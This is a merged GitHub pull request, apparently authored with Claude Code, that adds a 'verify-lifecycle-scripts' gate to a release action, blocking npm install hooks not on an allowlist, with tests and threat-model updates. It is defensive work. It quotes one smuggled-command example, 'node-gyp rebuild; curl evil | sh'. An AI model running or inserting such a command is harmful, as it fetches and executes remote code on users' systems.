Skip to content

feat: add verify-lifecycle-scripts gate for install-hook defence#5

Merged
TheCryptoDonkey merged 1 commit intomainfrom
claude/anvil-supply-chain-analysis-C7P0F
Apr 23, 2026
Merged

feat: add verify-lifecycle-scripts gate for install-hook defence#5
TheCryptoDonkey merged 1 commit intomainfrom
claude/anvil-supply-chain-analysis-C7P0F

Conversation

@TheCryptoDonkey
Copy link
Copy Markdown
Member

Summary

Blocks the April 2026 @bitwarden/cli@2026.4.0 / TeamPCP–Checkmarx attack shape, where a compromised publish shipped a preinstall hook that ran a credential stealer on every consumer npm install.

New gate verify-lifecycle-scripts.sh reads scripts from the consumer's package.json and compares preinstall / install / postinstall against an explicit allowlist. Anything not on the allowlist warns (default) or fails (strict). Paired with OIDC trusted publishing (already in place), this closes that campaign's attack chain end-to-end: no long-lived NPM_TOKEN to exfiltrate, no install-hook payload shape to ship.

Build-time hooks (prepare, prepack, prepublishOnly) stay out of scope — they fire on the publisher, not the consumer, and belong to a different trust boundary.

Inputs

  • lifecycle-scripts-policywarn (default) | strict | off
  • allowed-lifecycle-scripts — JSON object, default {}. Exact-string match only; substring/prefix is deliberately unsupported to block smuggling (node-gyp rebuild; curl evil | sh).

Defaulting to warn so adopting anvil does not break releases of packages that already ship a legitimate postinstall.

THREAT-MODEL.md

  • New defence row for the Bitwarden / TeamPCP vector.
  • New "not addressed" row for sibling-job secret leakage (explicitly out of anvil's enforcement reach — mitigations in prose: delete NPM_TOKEN, run scanners in a separate workflow, strict-action-pins: true).
  • Known-limitations section covering what the gate does not catch (main-entry require side effects, native bindings, bundled runtimes) — the gate is a targeted block on the Bitwarden shape, not a general malicious-code detector.

Files

  • steps/verify-lifecycle-scripts.sh (new, ~100 lines, shellchecked)
  • test/verify-lifecycle-scripts.bats (new, 16 cases incl. the Bitwarden-shaped preinstall, allowlist-smuggling regression, invalid-JSON allowlist, build-time hooks correctly not gated)
  • action.yml + .github/workflows/release.yml — new inputs and step wired between verify-secrets and record-tarball
  • THREAT-MODEL.md, docs/pre-publish-gates.md — documentation

Test plan

  • shellcheck -x steps/*.sh clean
  • 16 new bats tests pass
  • No regressions in the other 105 bats tests
  • action.yml and release.yml parse as valid YAML
  • CI (shellcheck + bats) green

Generated by Claude Code

Blocks the April 2026 @bitwarden/cli@2026.4.0 / TeamPCP attack shape,
where a compromised publish shipped a preinstall hook that ran a
credential stealer on every consumer npm install. The gate reads
scripts from the consumer package.json and fails (strict) or warns
(default) on any preinstall/install/postinstall entry not matching
an explicit allowed-lifecycle-scripts allowlist.

Paired with OIDC trusted publishing (already in place), this closes
that campaign's attack chain: no long-lived NPM_TOKEN to exfiltrate,
no install-hook payload shape to ship. Build-time hooks (prepare,
prepack, prepublishOnly) stay out of scope — they fire on the
publisher, not the consumer.

THREAT-MODEL.md gains the new defence row, a sibling-job secret-leak
row (explicitly out of enforcement reach, mitigations in prose), and
a known-limitations section covering what the gate cannot catch
(main-entry side effects, native bindings, bundled runtimes).
@TheCryptoDonkey TheCryptoDonkey merged commit cca7f83 into main Apr 23, 2026
3 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants